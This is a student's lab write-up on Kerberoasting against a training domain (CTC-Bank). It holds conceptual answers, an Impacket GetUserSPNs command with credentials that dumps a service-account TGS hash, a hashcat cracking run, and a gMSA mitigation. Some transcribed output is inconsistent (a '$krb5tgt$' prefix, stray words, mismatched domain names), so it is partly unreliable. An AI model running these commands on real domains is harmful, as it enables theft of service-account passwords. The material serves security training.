

# Active Directory

Sirajudin Seid

CTC-153-26

**1. What is an Service Principal Name (SPN) and why is it required for this attack?** An SPN is a unique identifier that Kerberos uses to associate a service instance with a specific Active Directory service account. It is required for Kerberoasting because the Kerberos Ticket Granting Service (TGS) ticket issued for an SPN service account is encrypted using the password hash of that service account.

**2. Why can this attack be performed without admin privileges?** By design, any authenticated domain user can request a TGS ticket for any service registered with an SPN. Because Active Directory allows all valid accounts to query service principal names and request Kerberos service tickets without requiring elevated permissions, low-privileged users can request these tickets and extract them locally for offline cracking.

**3. What's the difference between Kerberoasting and AS-REP Roasting?**

- **Kerberoasting:** Targets accounts with registered SPNs. The attacker requests a TGS ticket (encrypted with the service account's NTLM hash) from the Domain Controller and attempts to crack the encrypted payload offline.
- **AS-REP Roasting:** Targets accounts that have the "Do not require Kerberos pre-authentication" setting enabled. The attacker requests an AS-REP response directly from the KDC without needing a TGT or prior user authentication, receiving data encrypted with the targeted account's password hash.

**5. List the SPN accounts you found in the CTC-Bank domain.**

= db\_svc

6. Include a screenshot showing you successfully requested a TGS ticket in the writeup.

```
(white@ hat) [~/INSA-CAMP/AD]
$ python3 /home/white/impacket/examples/GetUserSPNs.py \
ctcbank.corp/meseret.alemu:Password1 \
-dc-ip 10.60.1.11 \
-request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[+] pending report
ServicePrincipalName      Name      MemberOf      PasswordLastSet      LastLogon      Delegation
-----
MSSQLSvc/db01.ctcbank.corp:1433 db_svc      2026-08-05 10:40:47.674024 <never> ping ...
summercamp
Assignments
[+] CCache file is not found. Skipping ...
$krb5tgt$23$db_svc$CTCBANK.CORP$ctcbank.corp/db_svc*$585e8014b859d55e8f77bf386abd25f347a810e2337c85040277c96729fb7ba91a789a2ec02d085c23c7a339a94adc7c9a981
df10a10a3cbcb9e2e1c742b87c41be316273670d2c4aed424ca713a9fbc63f15c29ec3c1e724a9d5a52bc98ce1d5f03f1b1dc3dd45b6266dc9c76b5d4f5b6375300ebe59d4c7a87b356b341d80001
9a41c2d052cf494457ef2896941e7b3283f22d491079a2e7baec170a0355f8d8a1fdea0da149127302954bf46e6708c7ce075122660c94bf13dc6c6331c24158d36f1024164d406755c5de23b7a
ff785af8ec6bc93a04ac74e86238f4c55479f192f0b752c15abef856d2ea57bb19741acd0e8e15e74624e70659c542d02f524c5f65d8f2c8e9d3d5ba68a60da4ff7a51378ee4905a924a893b9d7d
9de0ddcd37fbf2e4f50faed4d4a3d881696bcf7d1a59a18b130d6733239ae14312ca0b1ee7924cc390eb82b8d9e5d94b24bc50d854f64415bbcb6878438eeef89608bd6e38cba554d4a6be23ba118
f780438cd120f0843f53109e7ff563160d3e1c138fe9fe9d9223a9f89e5655afbf06569d7794f893df9107524feeb2fac9cf8fdf1709af29a4273ccd81477cf7a830af717445a0d62c639aedd9cd7
6dbd9f124d59b18c60f3c28b810eaa38893b3a5355bcab7ad480b133ee2f317cf8f07a9397ce6c0b60a612dd1ec0cab264e8aafe7adac29f3062d9b12e30f334ccac2ef56f289b3fb020140dae4
816903a46d407a1be245beb71e0da5aedb711e56f84c7816319717139c735e5dba818f572e698746f57371d6e7d105a290e1b3e0abb36684947472721db5c05d9b642ea8278539ca6cfbf6fa98194
7b2147e29f1e856545055bc86802669c0a0f58836caec7444df42a8626825d9f45de2bdf90f35dd661ca19c5c34f846734d97e892d7ab1e6b3d0e8ed53c1049b8c937a6df471191d5c79b8845db542
451d8412e0b873e8b9ba47141e2909874829a38cb0f036f0e5a369f451dc669b779f780656cee0cd99a8a972f023b5e447fee71bacea53ff8c2a65bee7172c551287bc79433f48e9ac41def4862
1f0ab9a226e81f3381c99ad27801a887842e9ae211b7f523bf413c40655e46b82ec361a64764683357ba92d46ec296a2855788779f71006f8c0c7ea105989d6a6c1b0b47043686c3d20837e607266
98eb4242871e6a3b9db246f3c04828dc79482266090c4cb6079794810950616b6a55087144f718af7c0c2043f9dcacf5294c873349c67ab0a3a50b4d3b08c17f3cba56aab7f1564d83462893b0fe
9fd8780e0ff2802ffab8c626a3e96d79927a1750ad5a8b88f4bb4a71355322c774661096d3f1c343a0bb43eba38d589150fa6f0958910a52d75578241c26a688ed63e148da2706707c601dbad2d5f
1e46e75ae60321e353685f1373afa24d28e272d014fe75cdfc6132266a704b96facac09ceef1924b83d8e65b4138c00412715b6a1b8a96145c49ba030ce0800950ae59a3059e9068071b4ae11
6e9faebc438d4be04f784d03cf8f549fe1a03fc87c8b1c1757908010a2e1cccf114f5cb2187b234d4ab2bc1bdea8886992f70
(white@ hat) [~/INSA-CAMP/AD]
```

7. Which tool(s) did you use to request/extract the ticket?

**Impacket:** Executing `GetUserSPNs.py` `ctc-bank.local/username:password`  
`-request -outputfile hashes.txt`

8. Did you attempt to crack the ticket offline? (yes/no)

Yes i did

9. Include proof of the cracking attempt in your writeup.

```
(white@ hat) [~/INSA-CAMP/AD]
$ hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
+ Device #01: cpu-haswell-Intel(R) Core(TM) i7-7600U CPU @ 2.80GHz, 6914/13828 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0=0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
+ Zero-Byte
+ Not-Iterated
+ Single-Hash
+ Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (11399 MB free)
```

10. What's one mitigation you'd recommend to CTC-Bank to prevent Kerberoasting?

**Recommended Mitigation** Use Group Managed Service Accounts (gMSA) for services whenever possible. gMSA accounts utilize complex, 128-character automatically rotated passwords managed directly by Active Directory, making offline brute-force attacks mathematically infeasible. Alternatively, enforce strong, complex passwords (minimum 25+ characters) for standard service accounts.

11. How long did the challenge take you?

It took me 24hr